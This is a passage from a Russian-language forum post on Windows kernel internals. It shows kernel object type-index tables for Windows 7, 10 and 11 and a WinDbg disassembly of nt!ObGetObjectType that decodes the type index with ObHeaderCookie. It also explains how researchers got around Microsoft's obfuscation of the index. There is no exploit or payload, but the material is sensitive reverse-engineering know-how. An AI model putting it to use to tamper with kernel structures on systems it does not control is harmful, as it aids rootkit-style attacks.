EtwConsumer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">52</span>
CoverageSampler &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">53</span>
DmaAdapter &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">54</span>
PcwObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">55</span>
FilterConnectionPort &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">56</span>
FilterCommunicationPort &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">57</span>
NdisCmState &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">58</span>
DxgkSharedResource &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">59</span>
DxgkSharedKeyedMutexObject &nbsp; &nbsp; &nbsp; | <span class="nu0">60</span>
DxgkSharedSyncObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">61</span>
DxgkSharedSwapChainObject &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">62</span>
DxgkDisplayManagerObject &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">63</span>
DxgkCurrentDxgThreadObject &nbsp; &nbsp; &nbsp; | <span class="nu0">64</span> // Only in Windows <span class="nu0">10</span>
DxgkSharedProtectedSessionObject | <span class="nu0">65</span>
DxgkSharedBundleObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">66</span>
DxgkCompositionObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">67</span>
VRegConfigurationContext &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">68</span></pre></td></tr></table></div></td></tr></tbody></table></div>
				   </div>
			   </div><br />
а 0x4E это 78, что уже означает выход за допустимый диапазон.<br />
Кстати в Windows 11 21H2 диапазон индексов был расширен<br />

			   <div class="spoiler-wrap">
				   <div class="spoiler-head folded clickable">Кликните здесь для просмотра всего текста</div>
				   <div class="spoiler-body">
					   <div class="codeblock"><table class="unknown"><thead><tr><td colspan="2" id="358748078"  class="head">Code</td></tr></thead><tbody><tr class="li1"><td><div id="358748078" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
</pre></td><td class="de1"><pre class="de1">TypeName &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | TypeIndex
---------------------------------|----------
<span class="br0">&#40;</span>null<span class="br0">&#41;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">0</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">1</span>
Type &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">2</span>
Directory &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">3</span>
SymbolicLink &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">4</span>
Token &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">5</span>
Job &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">6</span>
Process &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">7</span>
Thread &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">8</span>
Partition &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">9</span>
UserApcReserve &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">10</span>
IoCompletionReserve &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">11</span>
ActivityReference &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">12</span>
ProcessStateChange &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">13</span> &nbsp;// Only in Windows <span class="nu0">11</span>
ThreadStateChange &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">14</span> &nbsp;// Only in Windows <span class="nu0">11</span>
PsSiloContextPaged &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">15</span>
PsSiloContextNonPaged &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">16</span>
DebugObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">17</span>
Event &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">18</span>
Mutant &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">19</span>
Callback &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">20</span>
Semaphore &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">21</span>
Timer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">22</span>
IRTimer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">23</span>
Profile &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">24</span>
KeyedEvent &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">25</span>
WindowStation &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">26</span>
Desktop &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">27</span>
Composition &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">28</span>
RawInputManager &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">29</span>
CoreMessaging &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">30</span>
ActivationObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">31</span>
TpWorkerFactory &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">32</span>
Adapter &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">33</span>
Controller &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">34</span>
Device &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">35</span>
Driver &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">36</span>
IoCompletion &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">37</span>
WaitCompletionPacket &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">38</span>
File &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">39</span>
IoRing &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">40</span> &nbsp;// Only in Windows <span class="nu0">11</span>
TmTm &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">41</span>
TmTx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">42</span>
TmRm &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">43</span>
TmEn &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">44</span>
Section &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">45</span>
Session &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">46</span>
Key &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">47</span>
RegistryTransaction &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">48</span>
ALPC Port &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">49</span>
EnergyTracker &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">50</span>
PowerRequest &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">51</span>
WmiGuid &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">52</span>
EtwRegistration &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">53</span>
EtwSessionDemuxEntry &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">54</span>
EtwConsumer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">55</span>
CoverageSampler &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">56</span>
DmaAdapter &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">57</span>
PcwObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">58</span>
FilterConnectionPort &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">59</span>
FilterCommunicationPort &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">60</span>
NdisCmState &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">61</span>
DxgkSharedResource &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">62</span>
DxgkSharedKeyedMutexObject &nbsp; &nbsp; &nbsp; | <span class="nu0">63</span>
DxgkSharedSyncObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">64</span>
DxgkSharedSwapChainObject &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">65</span>
DxgkDisplayManagerObject &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">66</span>
DxgkSharedProtectedSessionObject | <span class="nu0">67</span>
DxgkSharedBundleObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">68</span>
DxgkCompositionObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">69</span>
VRegConfigurationContext &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">70</span></pre></td></tr></table></div></td></tr></tbody></table></div>
				   </div>
			   </div><br />
Касаемо новых объектов ядра в Windows 11, могу порекомендовать почитать вот этот материал<br />
ProcessStateChange и ThreadStateChange - <a rel="nofollow noopener noreferrer" href="https://windows-internals.com/thread-and-process-state-change/" target="_blank" title="https://windows-internals.com/thread-and-process-state-change/">Thread and Process State Change</a><br />
IoRing - <a rel="nofollow noopener noreferrer" href="https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/" target="_blank" title="https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/">I/O Rings – When One I/O Operation is Not Enough</a><br />
<br />
А это таблица индексов объектов ядра Windows 7<br />

			   <div class="spoiler-wrap">
				   <div class="spoiler-head folded clickable">Кликните здесь для просмотра всего текста</div>
				   <div class="spoiler-body">
					   <div class="codeblock"><table class="unknown"><thead><tr><td colspan="2" id="292779823"  class="head">Code</td></tr></thead><tbody><tr class="li1"><td><div id="292779823" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
</pre></td><td class="de1"><pre class="de1">TypeName &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | TypeIndex
---------------------------------|----------
<span class="br0">&#40;</span>null<span class="br0">&#41;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">0</span>
BAD0B0B0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">1</span>
Type &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">2</span>
Directory &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">3</span>
SymbolicLink &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">4</span>
Token &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">5</span>
Job &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">6</span>
Process &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp;<span class="nu0">7</span>
Thread &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">8</span>
UserApcReserve &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp;<span class="nu0">9</span>
IoCompletionReserve &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">10</span>
DebugObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">11</span>
Event &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">12</span>
EventPair &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">13</span> // Only in Windows <span class="nu0">7</span>
Mutant &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">14</span>
Callback &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">15</span>
Semaphore &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">16</span>
Timer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">17</span>
Profile &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">18</span>
KeyedEvent &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">19</span>
WindowStation &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">20</span>
Desktop &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">21</span>
TpWorkerFactory &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">22</span>
Adapter &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">23</span>
Controller &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">24</span>
Device &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">25</span>
Driver &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">26</span>
IoCompletion &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">27</span>
File &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">28</span>
TmTm &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">29</span>
TmTx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">30</span>
TmRm &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">31</span>
TmEn &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">32</span>
Section &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">33</span>
Session &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">34</span>
Key &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">35</span>
ALPC Port &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">36</span>
PowerRequest &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">37</span>
WmiGuid &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">38</span>
EtwRegistration &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">39</span>
EtwConsumer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">40</span>
FilterConnectionPort &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | <span class="nu0">41</span>
FilterCommunicationPort &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">42</span>
PcwObject &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| <span class="nu0">43</span></pre></td></tr></table></div></td></tr></tbody></table></div>
				   </div>
			   </div><br />
В Microsoft посчитали, что такой лёгкий доступ к таблице индексов ObTypeIndexTable недопустим и постарались запутать исследователей.<br />
Но их защита простояла недолго, достаточно быстро был найден способ получения валидного индекса, довольно нетрадиционным способом.<br />
<br />
Во-первых, исследователи ядра начали искать фрагменты кода, которые имеют что-то общее со структурой _OBJECT_TYPE<br />
<div class="codeblock"><table class="unknown"><thead><tr><td colspan="2" id="931849813"  class="head">Code</td></tr></thead><tbody><tr class="li1"><td><div id="931849813" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="de1"><pre class="de1">lkd&gt; x nt!ob*type*
fffff806`2bc21f8c nt!ObpCreateDefaultObjectTypeSD <span class="br0">&#40;</span>void<span class="br0">&#41;</span>
fffff806`2bc218d0 nt!ObCreateObjectTypeEx <span class="br0">&#40;</span>void<span class="br0">&#41;</span>
fffff806`2bd82214 nt!ObEnumerateObjectsByType <span class="br0">&#40;</span>ObEnumerateObjectsByType<span class="br0">&#41;</span>
fffff806`2c024ef0 nt!ObpTypeObjectType = &lt;no type information&gt;
fffff806`2c024ee0 nt!ObpDirectoryObjectType = &lt;no type information&gt;
fffff806`2c107470 nt!ObTypeIndexTable = &lt;no type information&gt;
fffff806`2bb23b28 nt!ObQueryTypeInfo <span class="br0">&#40;</span>ObQueryTypeInfo<span class="br0">&#41;</span>
fffff806`2bc21ef8 nt!ObpInitObjectTypeSD <span class="br0">&#40;</span>ObpInitObjectTypeSD<span class="br0">&#41;</span>
fffff806`2be36038 nt!ObpObjectTypesPathString = &lt;no type information&gt;
fffff806`2bd82a60 nt!ObpDestroyTypeArray <span class="br0">&#40;</span>ObpDestroyTypeArray<span class="br0">&#41;</span>
fffff806`2bd8295c nt!ObpCreateTypeArray <span class="br0">&#40;</span>ObpCreateTypeArray<span class="br0">&#41;</span>
fffff806`2bf54aa0 nt!ObpTypeMapping = &lt;no type information&gt;
fffff806`2be36028 nt!ObpObjectTypesNameString = &lt;no type information&gt;
fffff806`2baa3cc0 nt!ObGetObjectType <span class="br0">&#40;</span>ObGetObjectType<span class="br0">&#41;</span>
fffff806`2c024e20 nt!ObpTypeDirectoryObject = &lt;no type information&gt;
fffff806`2bc218b0 nt!ObCreateObjectType <span class="br0">&#40;</span>ObCreateObjectType<span class="br0">&#41;</span>
fffff806`2c024ee8 nt!ObpSymbolicLinkObjectType = &lt;no type information&gt;
fffff806`2c024620 nt!ObpObjectTypes = &lt;no type information&gt;
fffff806`2bd82d3c nt!ObQueryTypeName <span class="br0">&#40;</span>ObQueryTypeName<span class="br0">&#41;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Поиски выявили интересную функцию, которую нельзя было упускать из виду только лишь из-за ее названия <b>nt!ObGetObjectType</b>.<br />
Затем было решено посмотреть на её мнемонику ассемблерного кода<br />
<div class="codeblock"><table class="unknown"><thead><tr><td colspan="2" id="574175506"  class="head">Code</td></tr></thead><tbody><tr class="li1"><td><div id="574175506" style="height: 222px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="de1"><pre class="de1">lkd&gt; uf nt!ObGetObjectType
nt!ObGetObjectType:
fffff806`2baa3cc0 488d41d0 &nbsp; &nbsp; &nbsp; &nbsp;lea &nbsp; &nbsp; rax,<span class="br0">&#91;</span>rcx-30h<span class="br0">&#93;</span>
fffff806`2baa3cc4 0fb649e8 &nbsp; &nbsp; &nbsp; &nbsp;movzx &nbsp; ecx,byte ptr <span class="br0">&#91;</span>rcx-18h<span class="br0">&#93;</span>
fffff806`2baa3cc8 48c1e808 &nbsp; &nbsp; &nbsp; &nbsp;shr &nbsp; &nbsp; rax,<span class="nu0">8</span>
fffff806`2baa3ccc 0fb6c0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;movzx &nbsp; eax,al
fffff806`2baa3ccf 4833c1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp; rax,rcx
fffff806`2baa3cd2 0fb60d2f2f6600 &nbsp;movzx &nbsp; ecx,byte ptr <span class="br0">&#91;</span>nt!ObHeaderCookie <span class="br0">&#40;</span>fffff806`2c106c08<span class="br0">&#41;</span><span class="br0">&#93;</span>
fffff806`2baa3cd9 4833c1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp; rax,rcx
fffff806`2baa3cdc 488d0d8d376600 &nbsp;lea &nbsp; &nbsp; rcx,<span class="br0">&#91;</span>nt!ObTypeIndexTable <span class="br0">&#40;</span>fffff806`2c107470<span class="br0">&#41;</span><span class="br0">&#93;</span>
fffff806`2baa3ce3 488b04c1 &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; rax,qword ptr <span class="br0">&#91;</span>rcx+rax*<span class="nu0">8</span><span class="br0">&#93;</span>
